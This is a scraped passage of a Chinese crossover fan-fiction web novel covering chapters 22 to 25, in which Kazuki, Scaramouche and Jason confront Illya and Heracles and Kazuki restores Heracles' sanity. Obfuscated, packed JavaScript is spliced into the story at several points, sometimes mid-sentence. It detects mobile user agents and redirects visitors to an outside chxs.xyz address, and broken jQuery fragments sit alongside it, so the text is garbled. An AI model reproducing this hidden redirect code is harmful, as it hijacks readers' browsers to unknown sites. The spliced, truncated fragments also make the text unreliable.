l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859765|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打不过传说中的英雄咯?” “那当然没有啦。”一树仰起头对他灿烂的笑了。然而,还不等散兵高兴,他就继续说道:“毕竟,为你们英灵提供魔力的是御主啊,就算一时间你打不赢,打持久战,我可是超~有信心的!” 散兵:“……” 散兵头上青筋暴起:“你这个家伙……还是一如既往的讨厌!” “不过说起来,这次应召而来的希腊神话的英雄很多啊。”一树却已经无视了他的怨念,自顾自的低下了头。“赫拉克勒斯,美狄亚,美杜莎……咦,这么说起来,我其实可以召唤一个和他们两方都有联系的人物嘛!” “哈?”对他突如其来的灵光一闪,散兵表示十分无语。“你这个贪得无厌的家伙……居然还觉得身边的人太少吗?!” 亏他还为那两个人识相消失而高兴了一阵呢! “带土大人和卡卡西大人都已经跑去度蜜月去了,在他们把身体里的魔力浪光以前,我们很长一段时间都不会见到他们了,那我身边能用的从者只有你一个啊!能使唤的人当然是多多益善的好。”一树理直气壮的说道。实际上,他之所以只召唤了三个从者,完全是以为千手扉间一定会回应自己的召唤,所以遵循上次圣杯战争中先祖的叮嘱的缘故。 不过不要紧,只要大圣杯这个基底还在,圣杯战争的限制规则又没有修改,那他随时都可以进行新的英灵召唤嘛。 这样想着,一树朝飞在天上的从者招了招手:“跟我来!” 于是,等他终于踏进城堡的大厅的时候,早就等在楼梯上方的伊莉雅抱着手臂,满脸不耐烦的开口说道:“真是的,为了迎接远道而来的客人,我和塞拉和莉洁莉特本来准备了一个欢迎仪式,谁知道你们居然在森林里耽搁了那么长时间……” “那么,可以告诉我,到底是什么,吸引了你的注意力吗?” “真对不起!”令她惊讶的是,出身正经魔术师世家的一树,并没有她熟知的魔术师孤冷高傲的气质,他麻利的道了歉,弓着背,一只手还抓着一个人的脚踝,正努力把他往门里拖。“你给我进来——难道要我对你用令咒吗?” “不要!我不要啦!”那个人又哭又闹,像个孩子一样使劲抓挠着地面。“我才不要和赫拉克勒斯为敌啊啊啊啊!!!” “明明是你自己回应召唤的啊,不要做出一副我强迫你的样子啊。”一树忍不住抱怨道。“和昔日的好友对战,不管输赢,都能为自己或者对方的胜利感到高兴,并且期待愿望达成……这不是挺好吗?我还以为你期盼的就是这个呢。” “我只是有愿望要实现,那也不代表我愿意为此付出一切。而且,不管怎么想也不可能胜利吧,毕竟,赫拉克勒斯是无敌的啊!”这么说着的从者,转头露出一张非常英俊的脸庞,虽然因为滴泪横流而帅气度大打折扣就是了。 “要不然,我们直接认输吧!” 22.第二十二章 虽然青年百般不情愿,但最后,忍无可忍的散兵从背后凌空一脚把他踹进了门,随后对因为后座力而啊一声跌坐在地的一树说道:“你确定自己没有召唤错人?他怎么看也不像你说的那个家伙吧?” “并没有哦,反而因为他这么信任赫拉克勒斯,让我更确信了。”一树理所当然的伸出手,示意他拉自己起来。“他肯定就是希腊的大英雄、忒萨利亚的王子、皮力温的英雄、阿尔戈号的船长伊阿宋!” “还没开打,就先一步认输的大英雄?” “可是船长的话,只要能指引船员们走上正确的道路就可以了嘛,原本也不需要比船员更强啊。”一树理所当然的说道。“而且爱赫拉克拉斯需要理由吗?那可是完美的赫拉克勒斯!” 听到这个话,即使一头砸在别墅的柱子上,晕乎乎还挣扎着没能从地上爬起来,伊阿宋也忍不住竖起拇指为他点赞——所以他会接受这个魔术师的召唤,完全没有问题啊! 散兵:“…………” 散兵默默往上面飞了两尺,远离了这两个搞笑的蠢货,抱着胳膊不动了。 看完了眼前发生的整场闹剧,伊莉雅眼神微妙。实话说,在一树到来以前,她曾无数次幻想,这个曾经打败了那个男人的可怕对手是怎样残忍又冷酷,甚至做好了和他一决生死的准备,但是、但是…… 这样的他,到底是怎么战胜那个从无败绩的男人,引诱他向黑暗堕落的? 她想不明白,于是拾级而下,走到了自己站起身来的一树面前。后者拍拍身上的灰,茫然的歪着头看向她。 他蔚蓝色的眼睛里映出了一小两大简直一模一样银发红瞳的身影,正是伊莉雅和她的两位女仆。爱因兹贝伦所创造的所有人造人都仿制了昔日的冬之圣女羽斯缇萨·里姿莱希·冯·爱因兹贝伦的外貌,虽然个个美丽非凡,却也正因如此,当她们站在一起的时候,非人的感觉顿时扑面而来。 一树不适的皱起眉。即使在魔术师中,创造人造人并像用任意消耗品一样使用他们,简直像是吃饭喝水一般寻常,他的父亲宇智波秀幸仍然十分厌恶使用此等非人物。或许是因为他的两个孩子都是借由阴阳遁诞生,并非有性生殖,让他难免会站在人造人的角度思考,或许是因为别的什么理由,但总而言之,被父亲一手教养长大的一树也不免成为此类观点的护卫者,因此,光是看到伊莉雅,他的心就已经忍不住为她发痛了。 毕竟,爱因兹贝伦创造她,并不是出于爱,甚至可以说,他们只想要用她作为开启大圣杯的钥匙,这唯一的用途却要耗尽她的全部生命,把人命像是烟花一样“啪”的放完,不管怎么想都是一件令人憎恶的事情。 “原来,你是这样的……真是令人嫉妒。”然而,伊莉雅却是这样对他说道。 “哈?”一树的头歪得更厉害了。考虑到他们两家本来就有仇,他忍不住思考伊莉雅的嫉妒是否来自他是萤的族人,毕竟这位大魔法师至今还愉快的享受着他由第三法带来的永恒的生命呢(虽然在另一个宇宙)。但伊莉雅的脸上却突然亮起一道道红色的纹路,那是她的令咒,同时也是她的魔术回路,纵横交错的红色纹路密密麻麻的布满了她的周身,仿佛一道道带血的伤痕,将她瘦小的身体切割得支离破碎。 几乎在她唤醒魔力的一瞬间,散兵便从半空中落下来,挡在了一树身前。他胸前挂着的神之眼骤然亮起,阵阵狂风开始在他身侧环绕,冷冽的吹动他的衣衫。但伊莉雅身上的令咒很快就黯淡了下去,她既没有召唤英灵,也没有使用魔术,一切的动作,似乎都只是简单想要向一树展示她身上的魔术回路一般。 “你知道吗?所有人都说,我是爱因兹贝伦技术最高的结晶。”她完全无视了散兵戒备的动作和凶狠的目光,隔着他继续和一树湛蓝的眼眸对视着。察觉到她对自己的轻蔑,那种完全不把自己视作独立的个体,而是看作一树使用的武器一般的轻蔑,让散兵原本就不好的脸色更加难看了——然而,还不等他发作,一树就从身后紧紧拉住了他的胳膊,只是这样一个动作,就让他所有尖刻的讽刺都停滞在了喉咙里。 “在我之后,爱因兹贝伦再也没有造出同样的人造人,即使用同样的步骤,付出更多的努力,出来的成果也是差强人意。”说到这里,伊莉雅忍不住嘲讽一笑。“但即使如此,家主对我一直都不满意,他永远都用憎恨的目光注视着我,就好像在说,为什么你不能更强大一点,为什么你不能更完美一点一样……以前,我一直不明白为什么,他想要得到的究竟是什么,但在见到你的那一刻,我就懂了。” 作为小圣杯,她能清楚的“看”到一树体内的魔术回路,那和她这个人造的物件比起来,也显得更加出色的魔力,把她完全——完全比成了一个笑话! 明明,他的诞生,只是因为他的父母彼此相爱,没有算计,没有谋划,没有炼金术,没有魔术……由此诞生的成果,却比倾尽家族几代人的努力的自己更加完美,这让人怎么能忍住不去痛恨他呢? “你知道你诞生在这个世界上,嘲讽了多少人的努力,摧毁了多少人存在的意义吗?”她声音尖利的对一树说道,明明没有眼泪,却比失声痛哭还要令人心碎,因此一树的双眼已经化为了一片沉痛的海洋。这样的指责,他从小到大,其实已经经历过太多太多了,时钟塔的同龄人要么发自内心的憎恨他,要么把他视为无所不能的神灵,无脑的追随他的脚步,让在家中备受宠爱的一树也难免感到寂寞。也正因如此,虽然他和罗蕾莱完全话不投机、怎么努力也玩不到一块,他也发自内心的感谢神灵创造了巴塞梅罗的女孩,让自己不至于成为世上唯一一个“另类”。 “虽然,这怎么想都不该说是我的错,但如果这样说能让你感觉好点的话,对不起啦。”一树叹了口气。他当然明白,此时空口白牙的道歉,其实没有任何意义,反而显得他在嘲讽伊莉雅似的,但他也实在没有别的话能说了。 果不其然,听他这么说,伊莉雅的表情非但没有变好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868111|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而更加难看了。她嘲讽的笑了笑,用甜蜜的语气说道:“你明明已经得到一次圣杯、实现过一次愿望了,却还是又一次站在了这里,人类啊,真是贪得无厌的生物呢,不是吗?” “其实,上一次用圣杯许愿的人不是我,而且这一次,我也不是为了实现愿望站在这里的。”一树有些脱力的说道。再怎么为对方感觉难过,他也不会停止为自己辩解的。“如果想要我这种多管闲事的人不要出现,你们需要做的,是不要把无关紧要的人卷入这种可悲的争斗之中了,人的确是很容易不满足,很容易产生愿望的生物,但也不是每个人都愿意为了愿望付出自己的生命……啊,等等,我好像已经决定让圣杯战争停在这里了,那以后也不会有人再为此烦恼了才对。” “所以,和我走吧,伊莉雅。”他郑重其事的朝着伊莉雅伸出自己空着的那只手。“我无意与爱因兹贝伦作对,也并不想毁灭你,我只是想结束这一切的混乱。人类产生了想要实现的愿望,那就应该靠自己的双手去实现,圣杯并不是这个世界必要的东西。同样的,在将它毁灭以后,你就不必再背负小圣杯的职责,可以单纯作为人类活下去了。” 尽管他完全是出于好意,但伊莉雅只是淡漠的望着他,没有多余的言语。因为,他们两个人彼此都心知肚明——且不说她本来就是开启大圣杯的钥匙,想要见到大圣杯,就要先让她付出生命;作为功能性产物,人造人本身也并没有长久的生命,即使伊莉雅不作为开启大圣杯的钥匙被“消耗”掉,她残余的寿命,其实也并不允许她经历更多的人生了。 “如果,我说不呢。”伊莉雅讥讽的问道。“你会跪下来求我接受,对我说,‘你要什么我都能为你做到’吗?” “哈,从刚才开始,你就在说一些愚蠢到极致的话呢。”散兵简直忍无可忍。他完全是看在对方小孩子的外表上,才对她对一树的出言不逊再三忍让,但那并不代表这种退让是无休止的。他反唇相讥的说道:“把别人的怜悯和忍让当做攻击他的武器,以此来维护自己可怜的自尊,甚至为此沾沾自喜,洋洋得意,让你觉得很骄傲吗?难道你的无能,会因为你不承认,就变得不存在吗?” “什——”伊莉雅尖锐的叫了起来。“你说什么?我无能?哈哈!蠢货,我可拥有这世上最强的英灵,Berserker是无敌的!他一定会撕碎你,让你哭着滚回英灵座,让你的御主跪在我脚下求饶的!” “出来吧,Berserker——” 于是,伴随着一声野兽般的怒吼,以狂阶被召唤的希腊大英雄终于出现在众人的面前,站在了伊莉雅的身边——然而,尽管在希腊神话中,他毫无疑问是一位德才兼备的勇士,但从浓郁的黑暗中现身的,却是一个毫无理性的,野兽般的巨人。 他冰冷的注视着一树,没有吐露丝毫有意义的言语。而他的御主,伊莉雅伸出一根手指,指向了对面的一树。 “……将他在此杀死吧!” 她这样命令道。 23.第二十三章 几乎是伊莉雅下达命令的同时,赫拉克勒斯便朝着一树冲了过来。早有准备的人偶腾空而起,将周身的狂风化作利刃,朝着巨人投掷而去——然而,出乎他预料的是,这个看似毫无理性,只知道狂轰滥炸的巨人,看似笨拙的庞大身躯却极为灵巧的几个侧身,便避开了迎面而来的风刃,随后,他高高跳起,手中的战斧势不可挡的朝着半空中的散兵一劈而下—— “原来如此……”乘着风的散兵一个闪身,斗笠的飘带在半空中划过一道鲜艳的影子,灵活的避开了他的攻势,从喉咙里吐出一声充满战意的轻笑。他的脚尖在斧背上轻点了一下,借着赫拉克勒斯的力气跃过对方骤然横劈过来的战斧,轻盈的落到巨人的身后,手心里浮现出一枚铃铛模样的法器,发出“叮”的一声脆响。 站在他面前的,毫无疑问是一位真正的战士,他的身体还记着战斗的感觉,只是思维不像生前那般清醒罢了。 “哈哈哈,哈哈哈哈,真是有趣啊!”想到这里,散兵止不住的笑出声来。通过圣杯传递的“知识”,他当然知道魔术师们可以通过圣遗物召唤指定的英灵(甚至一树召唤他那天,都是把他自己当成了圣遗物用),那么爱因兹贝仑家选择召唤这样的赫拉克勒斯,究竟是巧合,还是他们只想要一头武力超然的、不会思考的野兽呢? 这个屋子里显然有另一个人和他有着同样的想法——在赫拉克勒斯现身的那一刻,伊阿宋脸上的笑意骤然冷淡了下去。他望着不断挥舞着战斧的挚友,脸上先是疑惑,随后浮现的是愤怒:这种愤怒像是火焰一般,很快蔓延到了他的整张脸上,将他之前那种怯懦无力的神情完全燃烧殆尽!此时此刻,任谁也不会怀疑,他毫无疑问是希腊闻名于世的大英雄:“你们……你们居然这样对待赫拉克勒斯!” 他已察觉了伊莉雅并不是把英灵看做并肩作战的战友,而是可以随意使用的工具,因为他清楚的知道,即使是狂阶的赫拉克勒斯,也不可能完全失去理智——在他们都活着的时候,赫拉的嫉恨曾让赫拉克勒斯陷入疯狂,而在这疯狂中发生的一些绝望的往事……让他最终走上了挑战十二试炼的道路。 他曾因此悲痛欲绝的好友不会再主动踏入疯狂。 一定是这些该死的魔术师做了什么! “……”一树心说这事还真是不让他觉得惊讶,因为就像他之前警告纲吉的那样,想要英灵完全听从御主的话,是根本不可能的事情。毕竟,看看他吧,他召唤的宇智波带土不仅是他血脉相连的先祖,和他的感情还相当不错呢,照样不妨碍对方为了和伴侣N度蜜月而抛下自己不管……爱因兹贝伦家既想要赫拉克勒斯强大的战斗力,又不希望他保持生前的纯善,以便轻松操控他,自然只能对他动些见不得人的手脚了。 但话说回来,圣杯之所以被污染,不就是第三次圣杯战争的时候,他们家破格召唤了Avenger安格拉曼纽(此世全部之恶),然后污染了圣杯的缘故吗? 都已经这样了还不吸取教训,果然人类能从历史中学到的唯一教训,就是人类无法从历史中学到任何教训。 他翻了个白眼。伊莉雅始终警惕的盯着他的一举一动,把英灵的战场完全交给了赫拉克勒斯,对于伊阿宋的质疑头也不回。她清楚的知道,眼前的对手的危险性并不亚于英灵,不管表现得再怎么安全无害,他也是在时钟塔受到正统魔术师教育长大的人,使用魔术战斗对他来说,就像是呼吸一样轻松简单。 接下来他会怎么做呢?他为什么只是站在那里,用那种怜悯的目光看着自己? ……自己已经可怜到只能唤起对手的怜悯了吗? 有那么一瞬间,伊莉雅感觉自己的内心被深深的刺痛了。她下意识的想到:如果那个男人在这里的话,如果那个被称作魔术师杀手的、曾经差点将他杀死的男人在这里的话—— 他还能露出这么若无其事的表情来吗? 不过下一秒,她就自己打消了这个想法。那个男人已经死了,他再也不会回到自己身边,像是他昔日承诺过的那样保护自己了。而她自己,也早就决定,要依靠自己,独自活下去……所以她不会再那么软弱了。 “你打算像个懦夫一样,一直一动不动的在那里看着吗?”她神经质的质问道。一树看了她一眼,秉承着绅士精神,温柔的对她说道:“我这边已经有两个英灵了,要是对你动手,未免太不公平了。而且,你也应该珍惜自己的魔力才对,因为我之前召唤英雄伊阿宋的时候,顺便把——” “啊,原来你已经决定好,看着我在这里把你杀死了啊。”伊莉雅打断了他的话,灿烂的笑了起来。她笑起来的模样是如此天真可爱,谁能想象这样一个可爱的少女会天天把杀人这样冷酷的话挂在嘴边呢?一树这样想着,也努力回以她一个微笑:“没关系,你想对我动手也随你吧。” 但事情就是这么奇怪。他表现得越是退让,伊莉雅就越是愤怒,或许,来的是不把任何人看在眼里的罗蕾莱,反而会让她的心更好受一些吧,毕竟打倒一个完全不把你放在眼里,完全把你视为无物的人,和一个会关切的注视着你,叫你的名字,对你说这对你不公平的人(纵使这只是他的伪装),又如何会是同一种感觉呢? “希望你在死去的时候,也能和现在一样嘴硬。”伊莉雅这样说道。她抬手扯下自己银白的长发,那冰雪凝成一般的发丝在空中化为白鹳一般闪闪发光的小鸟,扑腾着翅膀朝着一树直冲而去;后者仍然一动不动,只是在小鸟飞到近前,朝他射出光弹的枪身的时候,才抬起一只手,在虚空中轻轻一挥—— 霎那间,他面前的虚空如同涟漪一般荡漾开来,泛出淡淡的蓝光,形成了一片巨大的力场。化作“剑”的光弹落在上面,就像是碰到了什么无法命中的东西一般,瞬间扭曲了行进的方向,被弹到了一树的身侧,随后骤然炸裂开来,掀起了一树的衣角。完成了攻击的白鹳哀哀的伸长了脖颈,随后落在地上,变回了一根黯淡的发丝。 “什……!”白鹳骑士不仅带有追踪功能,还能自己生成魔力,是性能极高的魔术,伊莉雅此前见惯了各式各样的魔术师被它追击得狼狈不堪,甚至耗尽魔力的情况,万万没想到会有人这样轻易的将它格挡,不由有片刻的愣神。不过片刻之后,她就再次扬起了笑脸:“抱歉,抱歉,我怎么会觉得一只使魔就能打败你呢,看低了你,真是对不起啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870841|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她嘴上说得谦逊,实则一口气制作了六只使魔,六只小鸟扇动翅膀,从各个方向逼近一树,将他团团围在正中,同时发射出光剑一般的光弹。见此情形,一树忍了又忍,还是没忍住用看顽皮的孩子一般的眼神看了她两眼,随后,他将手举过头顶,五指张开,随后用力一握—— 庞大的魔力自他身上涌现出来,好似漩涡一般升空,在屋顶上形成一个仿佛蕴含着亘古长夜般深邃的黑洞。随着黑洞的形成,原本已经逼近他身侧的六把光剑立刻不受控制的调转方向,朝着黑洞飞射而去,不管伊莉雅怎么大喊大叫,试图用魔力对它们加以操控,它们仍然义无反顾的朝着黑暗深处一涌而进,随后黑洞关闭,蕴含着巨大魔力的光弹也随之消失不见,仿佛它们从未存在过。 爱因兹贝伦果然不是擅长攻击魔术的家族呢。一树这样想到,理智的没有把这句话说出口。 他自觉在动过手之后,伊莉雅明白了和他之间的实力差距,两个人就能重新交谈,因此在清了清嗓子之后,往前走了两步。然而,见到他的动作,伊莉雅却露出害怕的表情来,下意识的向后退了几步——几乎是同时,一树听到身后传来一阵破风声,英灵的战斧从他背后势如破竹的当头劈下,恨不得把他整个人劈成两半! 他能听到凌冽的风声和被风声带来的赫拉克勒斯的痛呼,攻击他的英灵似乎在攻击他的同时遭遇了强烈的攻击,不过那都不重要了,在意识到自己即将被赫拉克勒斯击中的那一刻,他就直接发动了飞雷神之术。 “!”愤怒的散兵才给背对着他,将整个躯干上的弱点尽数暴露在自己面前的赫拉克勒斯的心脏全力来了一发宝具,被他牵挂着的御主就瞬移到了他的身边,在掉下去之前被他一把抓住手臂:“一树,没事吧?” “好险,差点你就有两个御主了呢。”一树的手搭在他的手背上,在那里,他提前留下了飞雷神的印记,如今果然派上了用场。他低下头,看着滚滚烟尘之中,赫拉克勒斯倒了下去,胸口上巨大的贯穿伤夺走了他的生命,伊阿宋难掩悲伤的走过来,在他身边单膝跪下,伊莉雅则是冷漠的注视着死去的英灵,并没有多余的动作。 “哼,对一个刚刚为自己豁出去性命的家伙这么冷漠,我真不明白你为什么能这样容忍她。”一边把一树放到地上,散兵一边在他耳边不满的说道。发现赫拉克勒斯完全放弃防御,转身全力攻击一树的时候,他差点听到自己本不存在的心跳,就这样让他返回英灵座,真是便宜他了。 “是啊,他居然这么爱护伊莉雅,甚至不惜为她牺牲性命,真是……”一树喃喃自语着说道,眼神中带着些许的好奇。“不过,他并没有死哦,你没有发现他的魔力在逐渐恢复吗?也是,希腊神话中,他闯过了十二试炼,由凡人升格成了神,这如何不是一种死而复生呢?” ——伴随着他的话语,一根粗壮的树木猛地冲破地板,化作一条巨大的木龙,身躯紧紧的缠在英灵的身上,同时一口咬在他的肩头。赫拉克勒斯猛地睁开眼睛,爆发出一声狮子般凶猛的咆哮,伸出双臂要将身上的木龙撕成碎片,而在他挣扎的同时,一树朝着天空伸出双臂,高声吟唱起了长长的魔咒。 24.第二十四章 听着一树口中极速吟唱、甚至因为速度过快,她根本分辨不出内容的古老魔咒,伊莉雅再也不能故作冷漠,脸上骤然流露出了骇然和担忧的神色来。 “你、你想做什么?!”越是需要长久的吟唱来发动的魔术,威力越是巨大,更别提执掌.时钟塔天体科的宇智波家以月亮魔法闻名,他要是想的话,甚至可以招来星辰作为攻击,那就不是她轻易可以抵挡的了。 她魂不守舍的朝前走了两步,想要打断一树的吟唱,然而,赫拉克勒斯还被困在地上,和木龙搏斗着,一树身边的英灵则是在虎视眈眈的凝望着她,即使此时对一树发动使魔,也会被对方轻易打倒吧,伊莉雅这样想到,没有犹豫的发动了令咒,重新赋予了从者充沛的魔力,然后对他下了命令。 “挣脱束缚,然后……立刻逃离这里吧!赫拉克勒斯!” “……愿圣光予你赐福。”与此同时,一树吐出了最后一句咒语,一束温暖的光芒落到赫拉克勒斯的身上,仿佛穿透教堂彩窗的一抹晨曦一般,温柔的拂过对方卷曲的头发。狂躁的巨人先是一愣,撕扯着木龙的双手突然放松开来,片刻之后,他原本浑浊的眼瞳逐渐变得清澈、明亮,恢复了往日睿智的神采。 ——就仿佛有一把无形的火焰,将之前束缚着他的阴影统统烧尽了一般。 终于,站在这里的,不再是失去理智的怪物,而是希腊神话中,那光辉璀璨的大英雄了。 “抱歉,因为我不擅长圣光术,所以还是决定不简化咒语了,这样看来,效果倒是挺不错的嘛。” 带着些许俏皮的意味,一树笑吟吟的这样说着,解开了困住这位大英雄的木龙之术。赫拉克勒斯站起身来,并没有遵循御主的命令离开,而是用一只手抱起身边的伊莉雅,居高临下的看着他——魔术师嘴边噙着的微笑并不似作伪,他居然真的在为自己这个敌人恢复了神智而高兴? 可这样做,对他又能有什么好处呢? “御主,你……”连伊阿宋都露出极为诧异的表情来。他虽然为好朋友恢复神智而欣喜若狂,但也在赫拉克勒斯恢复的同时,就站起身来,踱步到了一树的身边——这当然不是在防备好友,无论处在怎样的情况下,他和赫拉克勒斯的友情都不会有任何改变,但他选择站到一树这一边,就是打定主意要履行从者的义务,为他争取最后的胜利了。 毕竟无论出于什么理由,他方才为赫拉克勒斯做的事,都让伊阿宋心怀感激。 “看来,我的疑问,伊莉雅是没法给我一个确切的答复了。”一树很快便回答了他们的疑问。在小圣杯和一众英灵惊疑不定的目光中,他显得如此平静而坦然,带着某种看破一切的自信。“不过,她毕竟还是个孩子,逼迫一个孩子作出决定,可不是大人应该做的事,那么,为什么不问问神奇的赫拉克勒斯呢?我就是这样想的啦。” 想要英灵作出决定,那他自然不能是一个浑浑噩噩,只知道跟随本能行动的野兽;但清醒的大力神与癫狂的、只会服从命令行事的大力神,战斗力岂能同日而语? “……我才不是孩子呢,你又能比我大得到那儿去。”伊莉雅依靠着高大的从者,小声嘟囔道。或许是因为今天发生的怪事太多,让她提高了阈值,她居然诡异的没有为一树的举动惊讶,而是觉得有点生气。 说什么不熟练,但其实他之前表现得那么正式,只是为了逗弄她,看自己露出惊讶甚至恐惧的表情来吧?! ……但这种调笑,竟不是充满恶意的。 因为他既没有肆意嘲笑自己的恐惧,也没有在自己放松下来的时候,反手攻击自己。伊莉雅见识过谎言和背叛,甚至见识得太多了,毕竟她接受过家族在这方面的训练,所以她甚至不能自欺欺人的认为,他望向自己的目光是冷酷的。 恰恰相反,那十分温暖。所以面对着他,她才总是忍不住气恼。 赫拉克勒斯也和他对视着。他审视的目光充满了压迫感,不过一树毫不在意,毕竟他说的全是心里话,完全不心虚的人有什么好害怕的呢。 终于,赫拉克勒斯开口了:“你之前说,把大圣杯毁灭以后,伊莉雅就不必背负小圣杯的职责,可以单纯作为人类活下去,但你应该明白,爱因兹贝仑并没有给她留下后路。” “但也不是没有解决办法。”一树信心满满的说道。“我查过资料,爱因兹贝仑一开始使用的小圣杯并非人形,后来改为人造人只是为了方便控制而已,只要让我研究一下她体内的魔术,重新创造一个小圣杯出来就好了。” 有试图偷学爱因兹贝伦人造人技术的嫌疑,毕竟他们家的人有前科。赫拉克勒斯思忖道。不过,大英雄其实对此并不在乎,毕竟他只想要保护伊莉雅而已,而爱因兹贝伦做的那些事,原本也让正直的神觉得应该向他们降下神罚。 “你应该没有忘记,开启大圣杯的另一个条件,是打倒被召唤的英灵,然后将魔力注入大圣杯吧。”他转而提醒道。 倒不是说,在恢复了神智以后,他立刻就想和对方的英灵来一场世纪大战。实际上,圣杯对他并没有什么意义,只要伊莉雅能够得到拯救,他也能坦然接受自己失败的命运,但是,一旦他返回英灵座,就没办法保护伊莉雅了,谁知道那个时候,这个魔术师会不会又觉得伊莉雅没什么用处又没了护卫,转而选择伤害她呢? 不过,有件事倒是令他十分安心,那就是伊阿宋也在这里。虽然他是个愚蠢而自大的男人,但赫拉克勒斯知道他值得自己托付所有的信任,只要自己开口,他一定会为自己做到任何事,哪怕他是被那个魔术师召唤的英灵也是同样。 “一样的道理,大圣杯要的,其实也不是英灵,而是足够唤醒它的魔力。”一树心说御三家只是想实现一个愿望,却把仪式弄得这么复杂,总是在不重要的细节上较劲,搞得圣杯战争像英灵圆梦见面会一样,也难怪仪式每次都失败。他摸着下巴告诉赫拉克勒斯:“总而言之,就算不能打败所有的对手,我也有提供魔力的备用方案,但具体是什么,我就先不说了。” “好啦,我知道你们一定有很多话,不好当着我的面说,希望你们今天能好好想想我的提议,尽快给我答复吧。”这样说着,他还特意拍了拍身侧伊阿宋的肩膀。“你也留下吧。” 虽然没让这对好朋友享受到对战的乐趣,不过一树还是相信,他们会想要在月光下彻夜饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874467|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒交谈的快乐的。 “……你倒是一点都不担心我投敌啊?御主。”伊阿宋这样说道,脸上恢复了轻松的神态。他伸出双手,把自己金灿灿的刘海往上拨,英俊的脸上逐渐浮现出洋洋得意的表情来:“果然,你也被我的魅力迷住了吧,也不能怪你,毕竟像我这样光辉璀璨的勇者,是谁也没法拒绝的——” “伊莉雅。”一树一脸认真的对着少女叫道。“你觉得有没有一种可能,我们能交换一下从者?” 伊莉雅:“……” 当然,被御主不解风情的态度气得又吵又闹的伊阿宋,并不知道一树在离开城堡以后,就冷酷无情的对身边的散兵吐槽道:“我本来想带他回夏目家去的,美狄亚只要看到他,肯定会打他,只要她动手,那我就能有理由处理掉这位魔女了。” 毕竟,他们在希腊神话中,是一对多么知名,结局多么惨烈的夫妻,试问谁不知道呢?爱神之箭贯穿了美狄亚的心脏,为她带来永不磨灭的爱情以及被碎尸万段的亲人、变心的丈夫和被杀死的孩子,即使在魔女的赛道,也是个相当恐怖、相当危险的故事了。 所以,她才是一树最想杀死的英灵,甚至超过同样来自希腊的蛇发女妖美杜莎,毕竟一位连弟弟和孩子都可以杀死的魔女,相信她会对萍水相逢的御主报以善心,这才是最离谱的事情吧! 对于他突然坦白自己的坏心眼,散兵没什么特别的反应,他以一种“我早就知道你一直都是这种坏小鸟”的平淡语气搭腔道:“那为什么你没有这么做呢?” “拜托,谁会想伤害一个,在我和他的朋友之间选择了我的人啊。”一树有些嗔怪的说道。正是因为他清楚的知道对方是多么要好的朋友,所以他才对伊阿宋的选择心怀感激。“反正九喇嘛答应我这几天会帮我守着夏目,有什么事它会告诉我的,那我们就静观其变几天吧。” “那你真的一点不担心,赫拉克勒斯并不肯接受你的提议吗,这样一来,我们就必须花费更大的力气去对付那个让你称赞不已的大力神了。”散兵双手抱肩,没好气的说道。 其实他和伊莉雅一样,觉得一树在某些方面十分傲慢。这种傲慢,并不是说他会刻薄而冷酷的对待别人,而是他总是不自觉的认为自己是对的,好像听从别人的话都是对对方的怜悯和忍让一样,这种暗地里的高高在上有时候真是戳人心肺,但这个可恶的家伙大概永远也是无法理解这一点的。 就像此时此刻,一树一点没在意他的冷嘲热讽,反而朝他露出了灿烂的笑脸。尽管散兵不想承认,但看到他湛蓝的眼睛在阳光下熠熠生辉,他忽然就决定原谅对方的傲慢,因为那真的很赏心悦目,让人心跳加速。 一树说:“他会答应的,因为他在疯狂中,都那么想要保护伊莉雅,那么没什么比伊莉雅能得到自由更重要。你知道的,因为赫拉的诅咒,他曾陷入疯癫,杀死自己的妻子和孩子,还有他的好朋友……我猜,伊莉雅让他想起了他的女儿,如果他能保护好她的话,心底的痛苦大概也能得以缓解吧。” “这就是爱,爱会战胜一切猜忌的。因为我们都是爱的信徒。” 在这件事上,他向来信心十足。 25.第二十五章 他们按照原定的计划,去拜访了卫宫士郎,但或许因为之前在城外的别墅耽误了太多的时间,抵达的时间有点不凑巧——卫宫一家正齐聚在饭桌上,面前各摆了一盘蛋包饭。 尤其是卫宫士郎的英灵,亚瑟王阿尔托莉雅面前……那真是好大一盘蛋包饭啊! “额,不好意思……”秉承着礼节,一树立刻就要掉头离开。“等你们吃完饭我再来拜访吧。” “等等……”卫宫士郎下意识的拦住了他。“要不然,你们也一起来吃?” …… 于是坐下一起吃饭了。 